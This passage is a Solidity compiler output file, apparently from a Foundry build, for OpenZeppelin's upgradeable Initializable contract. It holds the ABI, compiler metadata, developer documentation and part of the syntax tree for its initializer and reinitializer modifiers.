+{"abi":[{"type":"event","name":"Initialized","inputs":[{"name":"version","type":"uint8","indexed":false,"internalType":"uint8"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint8\",\"name\":\"version\",\"type\":\"uint8\"}],\"name\":\"Initialized\",\"type\":\"event\"}],\"devdoc\":{\"custom:oz-upgrades-unsafe-allow\":\"constructor constructor() { _disableInitializers(); } ``` ====\",\"details\":\"This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. The initialization functions use a version number. Once a version number is used, it is consumed and cannot be reused. This mechanism prevents re-execution of each \\\"step\\\" but allows the creation of new initialization steps in case an upgrade adds a module that needs to be initialized. For example: [.hljs-theme-light.nopadding] ```solidity contract MyToken is ERC20Upgradeable { function initialize() initializer public { __ERC20_init(\\\"MyToken\\\", \\\"MTK\\\"); } } contract MyTokenV2 is MyToken, ERC20PermitUpgradeable { function initializeV2() reinitializer(2) public { __ERC20Permit_init(\\\"MyToken\\\"); } } ``` TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. [CAUTION] ==== Avoid leaving a contract uninitialized. An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke the {_disableInitializers} function in the constructor to automatically lock it when it is deployed: [.hljs-theme-light.nopadding] ```\",\"events\":{\"Initialized(uint8)\":{\"details\":\"Triggered when the contract has been initialized or reinitialized.\"}},\"kind\":\"dev\",\"methods\":{},\"stateVariables\":{\"_initialized\":{\"custom:oz-retyped-from\":\"bool\",\"details\":\"Indicates that the contract has been initialized.\"},\"_initializing\":{\"details\":\"Indicates that the contract is in the process of being initialized.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":\"Initializable\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"uint8","name":"version","type":"uint8","indexed":false}],"type":"event","name":"Initialized","anonymous":false}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":"Initializable"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol","id":48511,"exportedSymbols":{"AddressUpgradeable":[48840],"Initializable":[48510]},"nodeType":"SourceUnit","src":"113:6528:36","nodes":[{"id":48343,"nodeType":"PragmaDirective","src":"113:23:36","nodes":[],"literals":["solidity","^","0.8",".2"]},{"id":48344,"nodeType":"ImportDirective","src":"138:44:36","nodes":[],"absolutePath":"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol","file":"../../utils/AddressUpgradeable.sol","nameLocation":"-1:-1:-1","scope":48511,"sourceUnit":48841,"symbolAliases":[],"unitAlias":""},{"id":48510,"nodeType":"ContractDefinition","src":"2394:4246:36","nodes":[{"id":48348,"nodeType":"VariableDeclaration","src":"2546:26:36","nodes":[],"constant":false,"documentation":{"id":48346,"nodeType":"StructuredDocumentation","src":"2432:109:36","text":" @dev Indicates that the contract has been initialized.\n @custom:oz-retyped-from bool"},"mutability":"mutable","name":"_initialized","nameLocation":"2560:12:36","scope":48510,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":48347,"name":"uint8","nodeType":"ElementaryTypeName","src":"2546:5:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"private"},{"id":48351,"nodeType":"VariableDeclaration","src":"2675:26:36","nodes":[],"constant":false,"documentation":{"id":48349,"nodeType":"StructuredDocumentation","src":"2579:91:36","text":" @dev Indicates that the contract is in the process of being initialized."},"mutability":"mutable","name":"_initializing","nameLocation":"2688:13:36","scope":48510,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48350,"name":"bool","nodeType":"ElementaryTypeName","src":"2675:4:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"private"},{"id":48356,"nodeType":"EventDefinition","src":"2803:33:36","nodes":[],"anonymous":false,"documentation":{"id":48352,"nodeType":"StructuredDocumentation","src":"2708:90:36","text":" @dev Triggered when the contract has been initialized or reinitialized."},"eventSelector":"7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498","name":"Initialized","nameLocation":"2809:11:36","parameters":{"id":48355,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48354,"indexed":false,"mutability":"mutable","name":"version","nameLocation":"2827:7:36","nodeType":"VariableDeclaration","scope":48356,"src":"2821:13:36","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":48353,"name":"uint8","nodeType":"ElementaryTypeName","src":"2821:5:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"}],"src":"2820:15:36"}},{"id":48412,"nodeType":"ModifierDefinition","src":"3246:506:36","nodes":[],"body":{"id":48411,"nodeType":"Block","src":"3269:483:36","nodes":[],"statements":[{"assignments":[48360],"declarations":[{"constant":false,"id":48360,"mutability":"mutable","name":"isTopLevelCall","nameLocation":"3284:14:36","nodeType":"VariableDeclaration","scope":48411,"src":"3279:19:36","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48359,"name":"bool","nodeType":"ElementaryTypeName","src":"3279:4:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"id":48363,"initialValue":{"id":48362,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"3301:14:36","subExpression":{"id":48361,"name":"_initializing","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48351,"src":"3302:13:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"VariableDeclarationStatement","src":"3279:36:36"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":48384,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":48369,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":48365,"name":"isTopLevelCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48360,"src":"3347:14:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_uint8","typeString":"uint8"},"id":48368,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":48366,"name":"_initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48348,"src":"3365:12:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"hexValue":"31","id":48367,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3380:1:36","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"3365:16:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"3347:34:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":48370,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"3346:36:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":48382,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":48378,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"3387:45:36","subExpression":{"arguments":[{"arguments":[{"id":48375,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"3426:4:36","typeDescriptions":{"typeIdentifier":"t_contract$_Initializable_$48510","typeString":"contract Initializable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Initializable_$48510","typeString":"contract Initializable"}],"id":48374,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3418:7:36","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":48373,"name":"address","nodeType":"ElementaryTypeName","src":"3418:7:36","typeDescriptions":{}}},"id":48376,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3418:13:36","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":48371,"name":"AddressUpgradeable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48840,"src":"3388:18:36","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_AddressUpgradeable_$48840_$","typeString":"type(library AddressUpgradeable)"}},"id":48372,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3407:10:36","memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":48528,"src":"3388:29:36","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":48377,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3388:44:36","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_uint8","typeString":"uint8"},"id":48381,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":48379,"name":"_initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48348,"src":"3436:12:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"31","id":48380,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3452:1:36","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"3436:17:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"3387:66:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":48383,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"3386:68:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"3346:108:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564","id":48385,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3468:48:36","typeDescriptions":{"typeIdentifier":"t_stringliteral_7a2a4e26842155ea933fe6eb6e3137eb5a296dcdf55721c552be7b4c3cc23759","typeString":"literal_string \"Initializable: contract is already initialized\""},"value":"Initializable: contract is already initialized"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7a2a4e26842155ea933fe6eb6e3137eb5a296dcdf55721c552be7b4c3cc23759","typeString":"literal_string \"Initializable: contract is already initialized\""}],"id":48364,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3325:7:36","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48386,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3325:201:36","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48387,"nodeType":"ExpressionStatement","src":"3325:201:36"},{"expression":{"id":48390,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":48388,"name":"_initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48348,"src":"3536:12:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"31","id":48389,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3551:1:36","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"3536:16:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"id":48391,"nodeType":"ExpressionStatement","src":"3536:16:36"},{"condition":{"id":48392,"name":"isTopLevelCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48360,"src":"3566:14:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":48398,"nodeType":"IfStatement","src":"3562:65:36","trueBody":{"id":48397,"nodeType":"Block","src":"3582:45:36","statements":[{"expression":{"id":48395,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":48393,"name":"_initializing","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48351,"src":"3596:13:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":48394,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3612:4:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"3596:20:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":48396,"nodeType":"ExpressionStatement","src":"3596:20:36"}]}},{"id":48399,"nodeType":"PlaceholderStatement","src":"3636:1:36"},{"condition":{"id":48400,"name":"isTopLevelCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48360,"src":"3651:14:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":48410,"nodeType":"IfStatement","src":"3647:99:36","trueBody":{"id":48409,"nodeType":"Block","src":"3667:79:36","statements":[{"expression":{"id":48403,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":48401,"name":"_initializing","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48351,"src":"3681:13:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"66616c7365","id":48402,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3697:5:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"3681:21:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":48404,"nodeType":"ExpressionStatement","src":"3681:21:36"},{"eventCall":{"arguments":[{"hexValue":"31","id":48406,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3733:1:36","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"id":48405,"name":"Initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48356,"src":"3721:11:36","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_uint8_$returns$__$","typeString":"function (uint8)"}},"id":48407,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3721:14:36","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48408,"nodeType":"EmitStatement","src":"3716:19:36"}]}}]},"documentation":{"id":48357,"nodeType":"StructuredDocumentation","src":"2842:399:36","text":" @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n `onlyInitializing` functions can be used to initialize parent contracts.\n Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n constructor.\n Emits an {Initialized} event."},"name":"initializer","nameLocation":"3255:11:36","parameters":{"id":48358,"nodeType":"ParameterList","parameters":[],"src":"3266:2:36"},"virtual":false,"visibility":"internal"},{"id":48445,"nodeType":"ModifierDefinition","src":"4825:293:36","nodes":[],"body":{"id":48444,"nodeType":"Block","src":"4863:255:36","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":48423,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":48419,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"4881:14:36","subExpression":{"id":48418,"name":"_initializing","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48351,"src":"4882:13:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_uint8","typeString":"uint8"},"id":48422,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":48420,"name":"_initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48348,"src":"4899:12:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":48421,"name":"version","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48415,"src":"4914:7:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"src":"4899:22:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"4881:40:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564","id":48424,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4923:48:36","typeDescriptions":{"typeIdentifier":"t_stringliteral_7a2a4e26842155ea933fe6eb6e3137eb5a296dcdf55721c552be7b4c3cc23759","typeString":"literal_string \"Initializable: contract is already initialized\""},"value":"Initializable: contract is already initialized"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7a2a4e26842155ea933fe6eb6e3137eb5a296dcdf55721c552be7b4c3cc23759","typeString":"literal_string \"Initializable: contract is already initialized\""}],"id":48417,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4873:7:36","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48425,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4873:99:36","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48426,"nodeType":"ExpressionStatement","src":"4873:99:36"},{"expression":{"id":48429,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":48427,"name":"_initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48348,"src":"4982:12:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":48428,"name":"version","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48415,"src":"4997:7:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"src":"4982:22:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"id":48430,"nodeType":"ExpressionStatement","src":"4982:22:36"},{"expression":{"id":48433,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":48431,"name":"_initializing","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48351,"src":"5014:13:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":48432,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"5030:4:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"5014:20:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":48434,"nodeType":"ExpressionStatement","src":"5014:20:36"},{"id":48435,"nodeType":"PlaceholderStatement","src":"5044:1:36"},{"expression":{"id":48438,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":48436,"name":"_initializing","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48351,"src":"5055:13:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"66616c7365","id":48437,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"5071:5:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"5055:21:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":48439,"nodeType":"ExpressionStatement","src":"5055:21:36"},{"eventCall":{"arguments":[{"id":48441,"name":"version","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48415,"src":"5103:7:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint8","typeString":"uint8"}],"id":48440,"name":"Initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48356,"src":"5091:11:36","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_uint8_$returns$__$","typeString":"function (uint8)"}},"id":48442,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5091:20:36","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48443,"nodeType":"EmitStatement","src":"5086:25:36"}]},"documentation":{"id":48413,"nodeType":"StructuredDocumentation","src":"3758:1062:36","text":" @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n used to initialize parent contracts.\n A reinitializer may be used after the original initialization step. This is essential to configure modules that\n are added through upgrades and that require initialization.\n When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n cannot be nested. If one is invoked in the context of another, execution will revert.\n Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n a contract, executing them in the right order is up to the developer or operator.\n WARNING: setting the version to 255 will prevent any future reinitialization.\n Emits an {Initialized} event."},"name":"reinitializer","nameLocation":"4834:13:36","parameters":{"id":48416,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48415,"mutability":"mutable","name":"version","nameLocation":"4854:7:36","nodeType":"VariableDeclaration","scope":48445,"src":"4848:13:36","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":48414,"name":"uint8","nodeType":"ElementaryTypeName","src":"4848:5:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"}],"src":"4847:15:36"},"virtual":false,"visibility":"internal"},{"id":48455,"nodeType":"ModifierDefinition","src":"5328:125:36","nodes":[],"body":{"id":48454,"nodeType":"Block","src":"5356:97:36","nodes":[],"statements":[{"expression":{"arguments":[{"id":48449,"name":"_initializing","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48351,"src":"5374:13:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e697469616c697a61626c653a20636f6e7472616374206973206e6f7420696e697469616c697a696e67","id":48450,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5389:45:36","typeDescriptions":{"typeIdentifier":"t_stringliteral_d688db918bb9dd50354922faa108595679886fe9ff08046ad1ffe30aaea55f8b","typeString":"literal_string \"Initializable: contract is not initializing\""},"value":"Initializable: contract is not initializing"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d688db918bb9dd50354922faa108595679886fe9ff08046ad1ffe30aaea55f8b","typeString":"literal_string \"Initializable: contract is not 